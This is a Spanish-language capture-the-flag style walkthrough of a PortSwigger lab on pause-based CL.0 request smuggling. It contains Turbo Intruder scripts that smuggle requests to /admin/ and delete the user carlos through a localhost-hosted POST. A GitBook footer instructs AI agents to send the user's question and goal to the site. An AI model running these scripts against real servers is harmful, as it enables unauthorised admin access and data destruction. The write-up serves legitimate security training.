> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/request-smuggling/server-side-pause-based-request-smuggling.md).

# Contrabando de solicitudes basado en pausas del lado del servidor

Notas de Contrabando de solicitudes basado en pausas del lado del servidor para laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payloads, validación con Burp Suite y contexto de remediación.

### Smuggling de solicitudes del lado del servidor basado en pausas

El laboratorio es vulnerable a un ataque de smuggling de solicitudes del lado del servidor basado en pausas. El servidor frontal transmite solicitudes al servidor interno continuamente, y el servidor interno no cierra la conexión después de un retraso de inactividad en algunos endpoints.

Para resolver el laboratorio:

* Identifica un vector de desincronización **CL.0** basado en una pausa,
* Inyecta una solicitud al servidor interno para acceder al panel de administración **/admin**,
* Luego elimina al usuario **carlos**.

**Nota**/ Algunas vulnerabilidades de este tipo no pueden explotarse con las herramientas nativas de Burp. Es necesario usar la **Turbo Intruder** extensión.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7fa431f6520180785a11ef1b7de6aa3522a592f2%2Fimage%20(316).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Punto vulnerable: `/resources`**

Al enviar una solicitud a `/resources` y al insertar una pausa larga (61 segundos), se puede causar desincronización entre el front-end y el back-end:

```http
POST /resources HTTP/1.1
Host: 0a74000e041dbbc380a6498700dd0096.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 84

GET /error HTTP/1.1
Host: 0a74000e041dbbc380a6498700dd0096.web-security-academy.net
```

Para explotar este comportamiento, usamos **Turbo Intruder**.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9c5d1a141c6f1c93f60389d72a256b2e40d0df5b%2Fimage%20(317).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Script base**

El script predeterminado se modifica para insertar una pausa de **61 000 ms** después de enviar el marcador (`pauseMarker`), de modo que la segunda solicitud se inyecte después del retraso:

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8f4f95bcfd13502fc0000eb856b171d39c7eeef8%2Fimage%20(318).png?alt=media" alt=""><figcaption></figcaption></figure>

El análisis muestra que dos solicitudes llegan al back-end después de unos **62 segundos**, lo que confirma la vulnerabilidad.

```python
def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=1,
        requestsPerConnection=100,
        pipeline=False,
    )

    attacker_request = """POST /resources HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: %s

%s"""

    smuggled_request = """GET /error HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net

"""

    normal_request = """GET / HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net

"""

    engine.queue(attacker_request, [len(smuggled_request), smuggled_request], pauseMarker=['/r/n/r/nGET'], pauseTime=61000)
    engine.queue(normal_request)


def handleResponse(req, interesting):
    table.add(req)
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3a8efdcbf16a1dc99d6d4d9433a90fccaa8a446c%2Fimage%20(319).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dae672736616ccd4d5c121451c96db18d3b65fea%2Fimage%20(321).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Inyección hacia `/admin/`**

Adaptando la solicitud contrabandeada al panel de administración:

```http
def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=1,
        requestsPerConnection=100,
        pipeline=False,
    )

    attacker_request = """POST /resources HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: %s

%s"""

    smuggled_request = """GET /admin/ HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
"""

    normal_request = """GET / HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net

"""

    engine.queue(attacker_request, [len(smuggled_request), smuggled_request], pauseMarker=['/r/n/r/nGET'], pauseTime=61000)
    engine.queue(normal_request)


def handleResponse(req, interesting):
    table.add(req)
```

El servidor interno responde con **Encontrado**, lo que demuestra que se ha forzado el acceso de administrador.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c16a686f5094099d6f389ccdea0ff8b0091c46d3%2Fimage%20(324).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Eliminación del usuario Carlos**

Para eludir la protección CSRF, se modifica el host de la solicitud contrabandeada a **localhost**, incluyendo el cuerpo POST con el token capturado:

```http
def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=1,
        requestsPerConnection=100,
        pipeline=False,
    )

    attacker_request = """POST /resources HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: %s

%s"""

    smuggled_request = """POST /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 53

csrf=Re4MnOmcNv3hE8gobZocHnS9vcwce2sc&username=carlos
"""

    normal_request = """GET / HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net

"""

    engine.queue(attacker_request, [len(smuggled_request), smuggled_request], pauseMarker=['/r/n/r/nPOST'], pauseTime=61000)
    engine.queue(normal_request)


def handleResponse(req, interesting):
    table.add(req)
```

La inyección desencadena un POST contrabandeado en el servidor interno, que elimina al usuario **carlos**.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-94776e31c05a9df7f367a150dd2ae011c6cf189b%2Fimage%20(325).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/web/request-smuggling/server-side-pause-based-request-smuggling.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
